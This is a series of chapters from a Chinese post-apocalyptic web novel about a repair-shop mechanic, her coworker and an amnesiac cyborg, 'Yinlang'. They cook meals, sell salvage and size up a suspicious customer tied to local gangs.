“……我不是变态不是故意的,带你回家没有坏心眼,不搞监禁也不做实验更不玩囚禁play,你想走随时能走,店里东西喜欢啥随便拿,记得好评下次再来啊亲……” “啪!” 银狼伸手横过林洗练耳畔,两指叩下墙上的开关,打开了灯。 林洗练保持抱头躲闪姿态,怂怂地睁开一只眼。 银狼平静地看着她,周身的戾气早已平复。 “吓到你了。” 林洗练眨眨眼,反应了片刻,然后一秒变脸,“哈,没有,我就听见你这房间有动静,不放心进来看看……” 银狼走进洗手间,拧开水龙头冲了把脸,水珠顺着下巴滴落,镜子里的人面色沉沉,苍白得有些冷峻。 林洗练站在门口,想了想小心翼翼道:“你是不是……做噩梦了?” 银狼捏了捏鼻梁,“可能是以前的记忆。” “你想起来什么了?莫非我们这小破店还给了你一种熟悉的感觉?” 银狼摇头,“在医院也会半夜惊醒。” 林洗练一愣,她和陈不苟一般都是白天去医院,晚上是个什么情形确实不知道,也许银狼失忆后一直被噩梦困扰,一宿宿独坐到天明。 林洗练被自己的脑补的画面凄凉到了,伸手给银狼递了毛巾。 “别太费神了。” “没有什么是一顿夜宵解决不了的,我晚上脑力消耗太大,准备去觅食,要不要一起?” 银狼以为对方也就是开几个罐罐,可能加热都省了,随便吃两口填饱肚子。 谁知道林洗练把他带到客厅,从柜子里抱出了电磁炉,又拿出一盒白色的粉状物,加水,加热,反复搅拌至半透明。 银狼想起之前对方做的宝宝肉松,这次大概又是在鼓捣什么新食物? 林洗练把剩下的土豆淀粉加入糊糊中,揉成团子,再搓成粗细均匀的长条,下锅煮熟。 “这是什么?”银狼忍不住问道。 “这个叫土豆粉。”林洗练把煮好的粉捞出,放进凉水里备用,忽然神神秘秘地凑近银狼,小声道:“别告诉陈不苟我们开小灶啊,这土豆淀粉太少了,他要是知道咱俩一顿就吃完了,还不给他留,肯定炸毛。” 银狼点点头,主动帮忙切了猪肉,林洗练起锅热油,熬制了一锅肉酱,红褐色的酱汁在火上冒着小泡,香味弥漫整个客厅。 林洗练忽然担心会不会把陈不苟给香醒。 没有砂锅,但店里多的是洗干净的空罐罐,找两只大的,抓一把土豆粉浇一勺肉酱,加水大火煮制,没一会儿两只罐罐就都发出了好听的咕嘟声。 乳白色的雾气升腾,银狼看见林洗练舀了一勺汤品尝咸淡,耳边的碎发有些碍事,被她用食指虚虚勾着,饱满的额角和半扇的眼尾便都露了出来。 大概是味道不错,林洗练眼中漫开笑意,她关了火,转头招呼银狼来尝,“这个可以叫,罐罐土豆粉。” 两人在客厅面对而坐,银狼夹了一筷子送入口中,深夜略显麻木的味觉瞬间被激活。 土豆粉的口感是他从未体验过的爽滑劲道,裹着香浓汤汁,还夹杂着鲜辣的猪肉颗粒,一切都配合得刚刚好。 林洗练托着下巴等待评价,银狼看见她眼底的期待,心中微微一动。 “很好吃。” “我很喜欢。” 在他贫瘠的记忆里,对饮食的全部印象就是罐罐,就连庇护城区内的预制菜他都觉得遥远,或许他已经很久没有回过城区了。 而林洗练,她似乎很喜欢研究食材本身,不喜欢它们被单调统一地处理,一定要找出不同的方法发挥它们的味道才好。 又或者,不单单是味道,还有这驱散夜深冷寂的热闹,穿过失眠与噩梦的迷雾,轻轻撞了银狼一下。 林洗练被战神肯定了厨艺,瞬间觉得自己牛哔坏了,“其实我们那边的土豆粉更喜欢用砂锅煮制,加上豆腐丝、海带、香菇、鹌鹑蛋,小青菜……好吃炸了!” 银狼敏锐捕捉到她话里的信息,“你家不在第四庇护城?” 林洗练“啊”了一声,也不隐瞒,“差不多吧,我是从别的地方来的。” 每个人都有秘密,银狼不会刨根问底,但从林洗练的叙述中,他隐约感觉对方来自一个富庶的地方。 可这废土末日,哪里还有什么富庶丰饶的土地呢? “以后你如果噩梦惊醒,我们还可以一起吃夜宵。”林洗练岔开话题,热情邀请,“正好我需要一个恰饭搭档,毕竟这个店不能只有我一个人深夜发胖。” 一起吃夜宵。 银狼动作微顿。 那就意味着夜晚不必再与回忆缠斗,注意力顺理成章地让渡到细碎平稳的小事上——她又研究了什么新奇食物,食材切成什么形状,还要煮多久才能熟…… 银狼放下筷子,目光落在林洗练身上,后者正一边吃面,一边絮絮叨叨说着自己想尝试的其他料理,仿佛刚才只是一句随口的问询。 “你不知道,我刚来这的时候每天最痛苦的就是吃饭,当初招聘说是包吃包住,可我哪知道老板厨艺那么差。” “那时候店里效益也不好,我们都买原味罐罐 7. 交易 《捡来的战损大佬[末世]》全本免费阅读 银狼的背包堪比小叮当的口袋,随便掏出一件都是好东西。 一大早林洗练就开始考虑出手的问题,陈不苟本来自告奋勇想帮忙,结果被无情地否定了。 “你还是留下看店吧。” “凭什么?”陈不苟不服,“昨天那变异组织不就是我去卖的吗?” “变异组织和纸质书籍是可以在官方交易,但这个硬盘呢?你知道里面存了什么类型的资料吗?知道不同类型的资料都有什么门路出手吗?” 陈不苟一愣,摇摇头。 林洗练:“如果你只把它当作一个硬盘卖出去,野外捡个这玩意还不如多拿两件工艺品。” 硬盘有点像开盲盒,堵的是一个概率,如果里面是珍贵的学术资料,官方自会出高价购买,如果是些文娱影音作品,也能在一些专门收资源的人那卖个好价钱。 “你在主城生活的时候没有下载过旧纪元的电影电视剧吗?你以为那些资源是哪来的?” 末日清洗,社会重构,任何一点旧文明的碎片都带着故乡的影子,是人类渴求的精神慰藉。 林洗练拍了拍陈不苟的肩,“‘拾荒’这一行可不是拿到手就是宝贝,进货靠眼力出货靠嘴皮,你一点经验没有,回头再让人给骗了。” 陈不苟本来也就大学刚毕业,在主城长大的三好青年哪知道集市上做生意还有这么多弯弯绕绕,耍嘴皮子也没耍过,只能心不甘情不愿地留下看店。 “我陪你一起去。”一直沉默的银狼忽然开口。 林洗练愣了一下,“啊,不用,我一个人能搞定。” “你还是让他去吧。”陈不苟赞同道:“你一个人背那么多值钱的东西在外面转悠,集市可不像主城那么安全,万一再被什么亡命之徒盯上。” 银狼也是这么考虑的,尤其在听到林洗练不打算将硬盘卖给官方,而是要根据资料类型找私人买家后。 卫星集市的私人买卖并不受法律保护,一手交钱一手交货,出事了就靠拳头解决。 也许林洗练对各种交易门路非常有经验,可万一交易出事,身边还是得有个能打的镇场子。 “或者你要是不想带银狼,带我也行,反正不能一个人去。”陈不苟叉腰道。 “那我还是选他吧。”林洗练果断扯住银狼衣角往身后拉,“就这个头,这身材,这肌肉,往那一杵肯定没人敢坑我。” 林洗练从仓库推了辆改装过的摩托车出来,随手把头盔扣在银狼脑袋上,还给他拿了件机车外套。 “虽然奥分不知道他们在找的人就是你,但保险起见,咱们还是遮掩点。” 林洗练一路风驰电掣飙到了官方交易点,早上人不多,两人很快出手了变异组织和纸质书籍,拿到的钱能抵他们那小店几个月的流水。 硬盘交易要稍微复杂一些,林洗练带着银狼七拐八拐进了一家杂货铺,店铺老板是一个中年男子,正对着一台老式笔记本看电影。 “您好,我们有个硬盘想出货。” “好嘞。”老板按下暂停键,熟练地翻出一套工具开始对硬盘进行拆解和修复,最后与电脑连接,两个T的资料分门别类地排列在屏幕上。 “哟,小姑娘运气不错啊,这盘里存了这么多影音作品。” 硬盘里大部分条目是商务资料,不过这些东西占空间少,反倒是影视剧动辄几十G往上。 “清晰度和音频质量都不错,卖个好价钱是没问题的,你要打包出售吗?” 林洗练想了想,“视频类的都卖给您,但音乐先留住不动。” 老板愣了一下,“怎么音频不卖?我这里都收的。” “因为您给的价格不划算啊。”林洗练笑笑。 身为游戏项目组的一颗小螺丝,林洗练对各类资源的行情再清楚不过,这家杂货铺收影视作品出价大方,但音乐类的资源,还是要找周锐。 丽舍酒吧本身需要歌曲衬托格调,再加上周老板本人喜爱音乐,合他口味的作品往往能卖得高出市场价不少。 还有就是,保持良好的生意关系,以后好打听情报。 林洗练其实一直很好奇那天周锐为什么给她透露奥分抓人的消息,得罪这么大一个组织,可不像是商人会做出的事。 “我既然能告诉你,就有把握奥分的人永远不会知道。” 周锐一边浏览着音频目录,一边漫不经心开口道:“有人不希望奥分得到那个病人罢了,我顺水推舟做个人情。” 林洗练脑子转了转,隐约猜出了一二。 游戏设定中,丽舍酒吧虽然保持中立立场,但老板周锐私下和木山杨的一把手交情不错。 木山杨算是本地组织,只在第四庇护城外围活动。 奥分虽然规模很大,许多庇护城外的卫星集市都有他的分据点,但强龙不压地头蛇,两个组织在本地斗法已经不是一天两天了。 既然奥分能在第四医院安插眼线,木山杨这种“土著”肯定更方便,也许木山杨是看奥分不顺眼,才故意拦下了这次截杀。 可是这对木山杨有什么好处呢?只是单纯地为了打击奥分?把筹码压在一个重伤失忆的陌生人身上? “你带来的音乐有几首还挺特别的。”周锐出声打断了林洗练的思考。 “听起来是一种我从未接触过的语言,无论是日常生活,还是书本学习。” 末日之后,太多语言被湮灭,只剩这些人类再读不懂的词句留作纪念。 周锐出了高价收购这批音频,拿到钱后的林洗练打算干两件事,第一,给银狼买一部通讯仪,第二,给家里冰箱补点库存。 “通讯仪是必须的,你现在还失忆,万一走丢了,可以联系我们。” 银狼想说自己不会走丢,就算丢了,九号装配店的地址他也记得清清楚楚,不过对上林洗练认真的神色,还是默默接过了通讯仪。 “可惜不能上网。”林洗练叹了口气,无比怀念上班刷手机的摸鱼时光。 末日之后很多通信基站都损毁了,各个主城区要么修复,要么重建。 卫星集市在主城区之外,信号覆盖不到,只能使用独立的组网,类似于无线电报的原理,终端为形似手机的通讯仪,添加联系人即为联系人设定唯一的频率和密码用于往来通讯。 “现在我们可以去买菜了。”林洗练拍拍手。 “你喜欢吃什么?嗯……或者吃罐罐的时候喜欢什么口味?如果今天能买到相应的食材,我们可以试试新菜,陈不苟是点名了土豆粉,他发现柜子里的土豆淀粉盒子空了,一大早就说我吃独食。“ 当时林洗练就义正言辞地反驳了,“谁说是独食,我明明是和银狼一起吃的!” 然后陈不苟就更气了,嚷嚷着林洗练偏心。 银狼顿了一下,“我失忆了。” 失忆了,所以自己也不太记得喜欢吃什么。 林洗练:“那你正好多了一个借口尝遍所有罐罐,每找到一种喜欢的,就多了解自己一分。” 集市西边的菜场依城墙而建,边边角角都是明显的破损和加固痕迹。银狼一边走一边盯着看,林洗练以为他好奇,随 8. 新订单 《捡来的战损大佬[末世]》全本免费阅读 林洗练张了张口,想要说些什么,却被面前忽然推开的门给打断了。 陈不苟诧异地看着两人,“你俩杵在门口干啥呢?我也没锁门啊。” 他一低头,“欸,我土豆,小林子你买了啊,我就知道你对我最好!” 林洗练把那两袋都扔给了他,让他先去洗洗,看了看时间,开始张罗午餐。 银狼刀工好,力气又大,正好帮忙切菜打下手,陈不苟洗完土豆就顺理成章地被赶去了前屋看店。 “一上午都没什么人,这个点就更不可能有人来了。”陈不苟磨磨唧唧地吐槽。 “你就说土豆丝蛋饼还吃不吃吧。”林洗练叉腰威胁。 “……Fine。” 不等陈不苟挪去前台,店门口的提示铃忽然响了,一个穿着棕色风衣的高个男生推门而入,径自走到柜台敲了敲桌面。 “有人吗?” 陈不苟探出头,“您好,要买点什么?” “我是慕名而来。”男生歪了歪头,朝后屋看,“听说九号装配店的机械师给周老板定制了一件武器,我很欣赏,不知道这位大师,还接不接其他私人定制的单子?” 正切土豆丝的林洗练一听“单子”耳朵都竖起来了,洗了手就跑出来“接客”。 “大师不敢当,碰巧成品合周老板眼缘而已,不知道您想要什么类型的武器?” 男生扬了扬嘴角,指了指手臂道:“配置在这里的,离子炮。” 话音落,林洗练眼神微变,她打量了面前的人片刻,不紧不慢道:“还未请教,您姓?” “不好意思,真是失礼。”男生略带歉意,“我叫李明岐。” “李先生。”林洗练客气点头,“您说笑了,精简到能配置在手臂的离子炮,那涉及到核能源小型化技术,这种东西放在军方都是前沿科技,我们这小装配店可没那个能耐。” 陈不苟在旁边听了半天,直觉认为对方怕不是来砸场子的,他上前两步挡在林洗练前面,语气不善道:“你到底是不是来买东西的?” 听见动静,银狼也放下菜刀从后屋走了出来。他个子高,往那一站像一座山,眉宇微微压下,俯视着不怀好意的外来者,压迫十足。 李明岐感受到威慑,却没有退后,反而笑意更深,“别紧张,我只是开个玩笑,林小姐连离子炮都有研究,看来水平确实很高。” “我想维修一把电锯刃。”李明岐从背包里掏出一把小臂那么长的刀,刀锋密布尖齿,启动的时候,锯齿快速切割,隐约能见高压电流闪过。 武器用的是加强型纳米材料,技术也比较先进,这一刀坎在变异生物身上,除非体型巨大或者皮糙肉厚,一般的类人形怪物不被电晕也得当场掀下一块肉。 林洗练不动声色看了对方一眼,对李明岐的身份更加怀疑。 “用了三年了,有点小故障,切割的时候手感发涩,电压也偏低了。”李明岐一字一句说明问题,明明该对身为维修工的林洗练解释,可眼神却直勾勾地看着银狼。 林洗练“嘿”了一声,抱着胳膊挡在银狼身前,“是我修,不是他修,你个登徒子。” 李明岐笑笑收回视线,“我只是好奇拾荒一行赫赫有名的银狼怎么在这。” 林洗练没想到他居然能认出来,或许这人以前和银狼有交集? “入伙了,不行啊?”陈不苟抢答。 “行。”李明岐应得吊儿郎当,显然没信,“怎么样老板,这刀能修吗?” 上来问一圈离子炮,最后下单扔把刀,真是面试造火箭入职拧螺丝,林洗练心里翻了个白眼,面上维持礼貌,“当然能,这些都是小问题,下午就能修好,你晚上来取就可以。” “何必那么麻烦。”李明岐一屁股坐在沙发少,“反正没事,我在店里等就行。” 林洗练合陈不苟对视一眼,默契地从彼此眼中看到了“讨厌一些没有边际感的顾客”,林洗练试图赶人:“我们暂时还没有招待顾客休息等候的业务……” “我给钱。”李明岐慢悠悠翘起二郎腿。 林洗练:“二苟子,给客人上茶。” …… 活得干,但饭也得吃。 林洗练本身计划今天中午做番茄肉丸汤来着,不能因为来了个刺头就被搅合了,反正这人是自己硬要留下来的,上杯水也算他们招待过了,还是自己好好吃饭要紧。 于是店里三个人没一个理李明岐的,全都一脑袋扎进了后屋。 林洗练一边洗粉,一边指挥银狼把一块肥瘦三七比例的猪肉洗净剁成肉泥。 考虑到鸡蛋太贵,光土豆丝蛋饼就花光了所有预算,肉丸不加鸡蛋的话,肉泥就必须剁得细腻,以保证肉丸成型且有弹性。 小番茄洗净切块,入锅热油炒出汁,倒入清水小火炖煮。剁好的肉泥进行调味,加水朝一个方向搅拌上劲,直到感觉黏性适合,就可以开始挤丸子了。 这一步陈不苟看得眼花缭乱,只感觉林洗练左手虎口处一合,右手勺子一晃,粉粉嫩嫩的肉丸子就下了锅,不一会儿就圆滚滚得浮满了水面。 林洗练用勺子撇去浮沫,下料调味。这会儿番茄的酸得正好,加点糖提个味,橙红的汤底浮着肉丸,看着就开胃。 陈不苟赶紧递上自己刚洗好的野菜,后面就由他看火,野菜熟了就可以出锅。 趁这时间,林洗练迅速摊了几张土豆丝蛋饼,银狼去拿洗干净的空罐罐当碗,顺便收拾桌子准备开饭。 前屋沙发上坐着的李明岐看三个人分工明确,且没有人搭理自己,顿时生出一种想跑出去确认店牌的冲动。 这装配店,怎么过得跟个餐馆似的? 更重要的是,后面飘来的饭菜香味实在勾人,李明岐中午是吃了罐罐才出门办事的,这会儿现场看三个吃播,硬生生给自己看饿了。 要说他也是在不少大帮派里呆过的,见过最会做饭的人就是木山杨的老王,帮派聚餐的时候都会让他烧一道什锦炒菜,如果是在野外出任务,驻扎地靠近河流的话,老王还会给大家炖鱼汤。 老王年纪大了,帮派里基本不派他去野外拾荒,平日也就做做饭,给大家加餐。 不过老王闲不住,自己跑去接了私单,谁知道那趟就那么凶险,五个人的队伍,只有两个人回来。 李明岐停下回忆,从沙发上站起身,他背着手慢慢溜达到干饭组身后,冷不丁出声,“吃什么呢?” 陈不苟干饭最用心,直接被吓了一跳,下意识护着碗,“吃饭啊,这你也要看?那么八卦呢?” 李明岐切了一声,又围着饭桌溜达了两圈。林洗练百忙之中抽空揣测了一下他的意图,抽了张纸擦擦嘴,“要不,你也一起吃点?” 李明岐一秒落座,跟那个抢凳子游戏似的,“既然你都邀请了,那我就不客气了。” 林洗练温柔笑笑: “得加钱。” 9. 修理时间禁止聊天 《捡来的战损大佬[末世]》全本免费阅读 林洗练不是修不好,只是在拖延时间,所以也没有熬夜工作的必要,收拾收拾就回房休息了。 夜晚寂静,银狼从二楼窗户翻出,他通讯仪屏幕上显示着一个移动的红点——李明岐朝着东边去了。 这追踪芯片是他从店里拿的,小玩意儿,路过李明岐的时候随手扔在了对方身上,只要在范围之内,通讯仪都会有显示。 银狼只需要一个大概的方向,一路追踪过去,是木山杨的地盘。 芯片没了信号,不知道是被发现了还是已经损毁。银狼眼神冷了冷。不过无所谓,芯片是试探,也是警告,李明岐和他们,应该都明白双方各怀心思。 是木山杨的人,总比是奥分的强。 之后几天,李明岐打卡一样天天来九号装配店晃,林洗练一边装模做样地修武器,一边有意无意地和他聊天套话。 两人从诗词歌赋聊到人生哲学,用陈不苟的话说,那两张嘴叭叭叭叭就没有停的时候。 “听说最近各种教会很活跃,野外有好些个邪教据点,有拾荒队伍撞上过,说看见那些疯子在组织活人祭祀。” “官方肯定得管,主城早晚要派人出去清剿的,不知道到时候会不会有招募,跟着官方队伍出去,回报稳定,而且安全。” “你说得对,去野外得有趁手武器,不过没钱的话武器就不要去锋刃买了,那家店好东西能卖上天价,但老板会做生意,这边有名的帮派组织他都不得罪,据说背后有奥分的股份,谁知道呢。” “奥分?奥分不行,淘金水平也就那样,没组织过几次像样的拾荒,规模倒是不小,可能总部有钱吧,分据点的人天天拿着公款在集市晃悠。” 林洗练听得津津有味,虚心请教“包打听”,“那我要是想跟队伍去野外,最好挑选什么样的队伍啊?” 李明岐:“要是没有固定的伙伴,就去丽舍酒吧的公告栏多看看,有些帮派都会发布队友招募的,不过话说回来,你是修理工,怎么会想去野外?不怕那些变异生物啊?” “别看不起人行吗,我怎么不能去,你不都去过吗?” “我跟你可不一样。”李明岐伸出一根手指摆了摆,“首先,我能打,以前是正儿八经的国防生,在野外生死一线的时候多了去了,什么变异生物我没见过?” 李明岐说这话的时候眼神又是直往一旁整理器械的银狼身上瞟,像那个开屏花哨的大孔雀。 林洗练“啧”了一声,手里的大扇子直接隔开李明岐的视线,顺便把他的脸掰回来,“看我,你老盯着银狼看什么,吹得再好听他也不找你当队友。” “银狼是出了名的独狼。”李明岐顺手抢过扇子,悠哉地扇风,“请得起他出面的,要么有钱,要么有交情。” “那看你这样,怕是两个都没有了。”林洗练毫不留情地拆台。 “你这种小菜鸟,就别想着往野外跑了。”李明岐会怼,“实在想去的话,我教你一招,你让银狼当保镖,带你去野外溜一圈,你应该还能全须全尾地回来。” 陈不苟听不下去了,“你这人怎么老人身攻击,国防生怎么了,你不照样没进联合官方的武装队伍,天天在城区外晃荡?” 陈不苟没别的意思,就是觉得李明岐老说林洗练菜,听着不开心,但他这句话似乎触及到了对方一些回忆,李明岐玩世不恭的表情淡了一瞬,盯着正在修理的那把电锯刃,声音平平: “官方有官方的活法,野外有野外的,人总要先活着,才能考虑其他。” 末日生存本身气氛就够沉重了,林洗练最不爱的就是大家哭丧个脸,她手里的螺丝刀转了个圈,握把冲着李明岐,转移话题: “既然你去野外淘过不少次金,总不可能没听过一种职业,叫向导吧?” 野外情况复杂,淘金队伍出发之前通常会收集一些区域情报,如果能请到一位有经验,甚至去过目的地的人当向导,那么避开崎岖地形,极端天气,或者找寻资源富集区,都会事半功倍。 李明岐不是不知道向导,只是没想到林洗练小小年纪居然想走这条职业道路,一脸诧异,“就你?” 陈不苟一听这俩字又炸了,刚才隐约觉得自己说错话的愧疚一秒消散。 虽然他也不信林洗练能做向导,但还是继承了姐姐陈一斯的优良传统,尽职尽责地护犊子:“瞧谁不起呢你这是?” 真不是李明岐看不起林洗练,向导是吃经验饭的,听林洗练的意思,野外她都没怎么去过,当向导不是痴人说梦吗? “我知道你不信。”林洗练悠悠地卸着电锯刃上的小零件,清理灰尘。 “这么说吧,你刚才提到的邪教,一般在连十山那片容易碰见,因为往深了走有一个旧纪元的小村落,确实是个依山傍水的好地方,邪教早就鸠占鹊巢了。” 李明岐愣了一下,开始回忆自己刚才闲聊的时候是不是说漏嘴了。 “没事的话还是不要靠近哪里。”林洗练继续补充点不为人知的,“那山里容易刷……咳,出现一种巨型变异怪物,污染级别较高,不好对付。” 李明岐将信将疑,“你不会在框我吧?” “我有那闲功夫?”林洗练翻了个白眼,“爱信不信。” “你什么时候野外的消息也知道这么清楚了?”陈不苟诧异,他以为林洗练作为修理工里厨艺最好的已经够牛逼了。 “好的向导不仅仅是熟知气候地形那么简单。”林洗练开始故作高深。 “顶级向导看着土地上的痕迹就知道是什么怪物,有哪些弱点,他会带着队伍避开,或者一路追踪,制定周密的猎杀计划,满载而归。” 开玩笑,林洗练穿越过来一睁眼就是在野外,要是没有大脑里海量的地图和野怪信息,手无寸铁的她怎么可能一路闪避安然抵达卫星集市? 她要是不能做向导,这世界上就没人能了。 “难不成,你家祖上就是干这个的?”李明岐吃了“洗脑包”,开始自己给林洗练圆人设。 拾荒淘金一行最早的向导,其实就是一些对城区外地形路线熟悉的本地人。 他们在危机四伏的末日艰难求生,一直到官方紧急建立庇护城避难,才算有了落脚之处。 生存不可止步,救回的难民越多,庇护城需要的空间就越大,官方招募熟悉当地情况的人,与他们一同商议庇护城扩建的事宜,哪片地方合适?曾经是荒郊还是闹市?土地适不适宜种植? 无数向导和武装队伍一起出发,将庇护城的边界一寸寸向外扩大。 “前人栽树后人乘凉,你家别是有什么祖传的地图或者野外生存手册吧?”李明岐逐渐相信自己这个猜测的合理性。 林洗练想了想曾经自己工位上堆着的那些设定集和策划案,“……你也可以这么理解。” “所以怎么样,国防生, 10. 推开他的门 《捡来的战损大佬[末世]》全本免费阅读 银狼淡然放下汤勺,盖上锅盖,“吃白食,就不要挑三拣四了。” 李明岐气得想用骨头磨牙。 林洗练这次汤炖得很成功,肉不柴,咬一口直接脱骨,玉米也香甜。吃完后她尝试用刀背砸开骨头吸骨髓,但是角度找不太准,敲了两下没敲开。 银狼接过刀说他来,一刀一个把林洗练碗里的骨头都砸了,还真有几个带髓的,拿勺子挖或者直接用嘴吸,满口油润生香。 这吃法新奇,陈不苟一下就被吸引了,也拿着刀在那敲敲敲凑热闹,后来还是银狼教他角度和力道,砸开一个就学着林洗练狠狠一吸。 李明岐也想试试,他不用银狼教,在野外混生活的人什么刀枪棍棒不会用?可一刀背下去,骨头里啥也没有,一连砸了几个,都是空的,连骨髓的影子都没见着。 这可给他气完了。肉和玉米这种明面上的东西也就算了,骨髓欸,藏在骨头里的,这银狼也能未卜先知?眼睛射X光啊?! 李明岐最后花钱跟林洗练买了几块大骨头,一边肉疼一边啃得津津有味。 吃饱喝足瘫一会儿,确定没客人会来了,这才真正地准备关门休息。 银狼和陈不苟洗碗清理厨余垃圾,林洗练起身送店里唯一的客人出门,李明岐纳闷她今天怎么那么好心,林洗练很不给面子地打了个嗝,“吃饱了,走两步消消食。” 李明岐车停在门口,改装过的越野车,车身加装防护网,看那坑坑洼洼的样子,就知道没少在野外糟蹋。 “唉,林老板,我那刀,你什么时候修好啊?”李明岐靠车门站着,抱着手臂表情意味深长。 “急什么?”林洗练挑眉,“你不是总想来店里蹭饭吗?我要是那么快给你修好了,你还能找什么借口来?” 李明岐笑笑,心想林洗练真是个会说话的人。 他确实是在想办法接近九号装配店,却不是为蹭饭,即便林洗练当天就修好了他的刀,第二天他也会找一些有的没的售后问题再来。 他在试探,林洗练也知道他在试探,大家心照不宣。 “不如你给我讲讲,你和银狼到底什么关系?”林洗练玩笑道:“你天天眼睛都快粘他身上了,像个被抛弃的小冤种,要真是有什么兄弟反目成仇的悲情故事,我肯定站你这边。” 李明岐无奈,“你想象力那么丰富,也别当向导了,回主城区写书多好,现在文学艺术正流行。” 林洗练耸肩,“你要那么想我写,明天我就以你和银狼为蓝本串个相爱相杀的狗血故事,你出钱,首印一千,就在卫星集市上卖,赚了钱咱俩对半劈。” “空手套白狼?” “空手套银狼。”林洗练纠正,有那么一点暗戳戳骂李明岐的意思。 “我不是坏人。”李明岐拉开门,发动车子,“你知道这点就行了,不相信的话可以去木山杨查我,又或者,去问问周老板。” “至于银狼,算是旧相识吧,不过也没那么熟。” 林洗练不太相信,不熟你巴巴地拿把刀找过来? 李明岐没再说什么,降下车窗对林洗练潇洒摆摆手,“有机会再给你讲故事吧,走了,明天见。” 越野扬起满地尘土,拐了个弯消失在视野。 装配店门后立着一道高大的人影,银狼逆光看着林洗练与李明岐月下交谈,阴影中神色晦暗不明。 - 李明岐离开后没有回住处,倒是拐进了丽舍酒吧。 这个点客人已经不多了,周锐在吧台后算今日入账,李明岐一点都不见外地往他面前一坐,“来一杯果酒。” 周锐头都不抬,手上动作倒是快,果汁倒入摇酒器中,“听说你这几天总往九号装配店跑。” “多亏你介绍的机械师。”李明岐笑道,“技术很不错。” “修个东西要那么久?”周锐把果酒推给他。 “慢工出细活嘛。” 合成物勾兑的果汁,加了一点点酒,都是已经习惯的味道。 李明岐:“上次说的去野外的事,你和钟姐决定了没,要不要带向导?” “怎么?”周锐抬眼,“你有好的推荐?” 这次定的行程可不是什么热门线路,经验消息都不好买,向导更是可遇不可求。 “推荐谈不上,只是觉得有个人挺有意思的。” “谁?” “就那个你介绍给我的机械师。” “林洗练?” “对,今天她跟我提到想去野外,倒是说出了一些……听起来很有经验的消息。” 李明岐把今天和林洗练的对话转述给了周锐,后者听罢陷入沉默。 邪教的事木山杨很关注,他也就一直派人打听着,连十山附近有邪教窝点基本是可以确定的,但旧纪元的村落和高污染级别的变异怪物,他都没得到消息。 如果真是如此,那怪不得之前深入山地的拾荒队伍都没能回来。 “那小姑娘才多大?”周锐沉吟片刻,“不像是该对这些东西有经验的样子。” “现在的年轻人不得了啊。”李明岐“啧啧”两声,“会修东西,会做饭,还能当向导,你要是把她挖到你们酒吧,那营业额不得翻倍?” “现在的年轻人?”周锐瞥他一眼,“你才多大,跟人小姑娘也没差两岁,天天老气横秋的。” “是吗?”李明岐捏了捏自己的脸,“但感觉我被学校开除,被扔到卫星集市,都像是上辈子的事了。” “没有那么久。”周锐收了他的杯子清洗干净,“也才三年。” 三年,卫星集市上人来人往,很多事情都在改变。 九号装配店藏龙卧虎,看来,是得找个机会走一趟。 - 银狼这一晚依旧做了噩梦。 他似乎习惯了,看着金属房内满地粘稠血浆,怪物透过崩裂的缝隙嘶吼,感染者的脓包破裂,毒汁飞溅入他的眼睛,腐蚀感和烧灼感令人绝望。 忍痛睁开眼,周围环境又成了园区,不远处一座高楼冒着浓烟,好像有无数哀嚎声破空入耳。 有人跑了出来,振臂呼喊向他求救,可掩藏在角落里的变异生物比他更快一步,扭曲膨胀的四肢飞速爬行,几个呼吸间就袭向求救者,将人生生撕裂。 银狼猛地睁开眼。 噩梦中的压迫和胆寒在清醒那一瞬如潮水退却,紧握的双拳渐渐松开。 他心绪正乱,对周围坏境的警惕却不减分毫,敏锐地捕捉到楼下有细微响动。 大概是林洗练。银狼从门缝中看见昏黄的光芒。 她这两天总是睡得晚,尽心尽力研究李明岐那把电锯刃。 其实银狼误会了,林洗练的尽心尽力才不是为了李明岐,她是对高端武器的工艺感兴趣,现在正研究到关键,是一鼓作气融会贯通的好时候。 结果折腾到半夜,林洗练脑子没报废,肚子先受不了了。晚上的玉米骨头汤是好喝,但到底只是汤水,林洗练又没吃罐罐,这会儿就饿了。 不过冰箱里食材不多,她也懒得折腾,跑去屋里挑了一个还算顺眼的罐罐,准备边吃边研究。 路过银狼房间的时候,林洗练无意间发现这门没关,留了条缝,光线虚虚照进去,能看见床尾。 鬼使神差地,她把门推开了一点。 也许她只是担心,外面奥分的人虎视眈眈,店里还有个李明岐摸不清好坏,银狼自己失忆,又总是噩梦缠身,这种深夜时刻,人总是多疑多思。 顺着林洗练开门的动作,暖色的灯光一丝丝涌了进来,她很小心,在看到银狼直挺挺坐在床上时,明显愣了一下。 “你……没睡?” 门开了一半,逆入的光线堪堪触及银狼肩膀,他仍是被黑暗包裹,却慢慢自己抬起头,好似接住了那束光。 林洗练懂了,不是没睡,怕是噩梦刚醒。 “睡不着来找我呀。”她故作轻松笑笑,“我也是熬夜种子选手。” 虽然没找,但门是半掩着的。 银狼并非故意不关,实际上,他不太记得这个细节了,似乎只是回房间时,随手一带,又下意识放轻了力度。 也许他在等什么人推开。 “你饿不饿?”林洗练打开门走近两步,“我半夜嘴馋,准备开罐罐来着,要一起吗?” 林洗练当然不会让病号吃罐罐。 她翻箱倒柜找到最后一枚鸡蛋,搅散后倒入晚上剩下的玉米骨汤上锅蒸,快熟时又放了一勺上次给陈不苟做土豆粉剩下的肉酱,蛋羹细嫩润滑而不寡淡。 这几天下来银狼也注意到了林洗练的一些喜好,她不爱吃罐罐,但凡有条件都会自己动手做菜,这深夜食堂也不是天天都有,银狼把蛋羹推给了她,“我吃营养罐就行。” 林洗练眼睛一眯,“你是说我做的饭还没有罐罐好吃?” 11. 护住了 《捡来的战损大佬[末世]》全本免费阅读 这天晚上两人不欢而散,林洗练甚至连仿生皮肤都没给银狼复原,心说就让他裸着一大块铁皮子去睡吧! 被晾在原地的银狼叹了口气,自己给自己“缝补”好,替林洗练收拾了满桌工具,才关灯回了房间。 第二天李明岐来店里的时候,明显感觉气氛不对。 林洗练抿着嘴在修理台叮叮咣咣一顿乱敲,银狼冷着脸帮忙检查待售装备的日常状况,陈不苟拿着小板板记录,听见李明岐的声音,回头对他做了一个抹脖子吐舌头的鬼脸。 “这都怎么了。”李明岐晃到林洗练身边,“大早上没睡醒?一个个都不说话。” “啪”,林洗练拿出电锯刃放在桌子上,“你的刀修好了,看看有没有问题。” 李明岐愣了一下,“我又怎么惹你了,昨天不是说还得几天吗?” “熬夜工作,提前修好了还不行?”林洗练硬邦邦道。 “唔,行,行。”李明岐也不能说什么,拿着刀舞了两下,“好得很,跟新的一样,谢了,天气这么好,请你喝东西?” 喝东西还能在哪,大概率是丽舍酒吧,李明岐也算有诚意,怕林洗练不放心,特意选择了她熟悉的地方。 怕是有话要说。 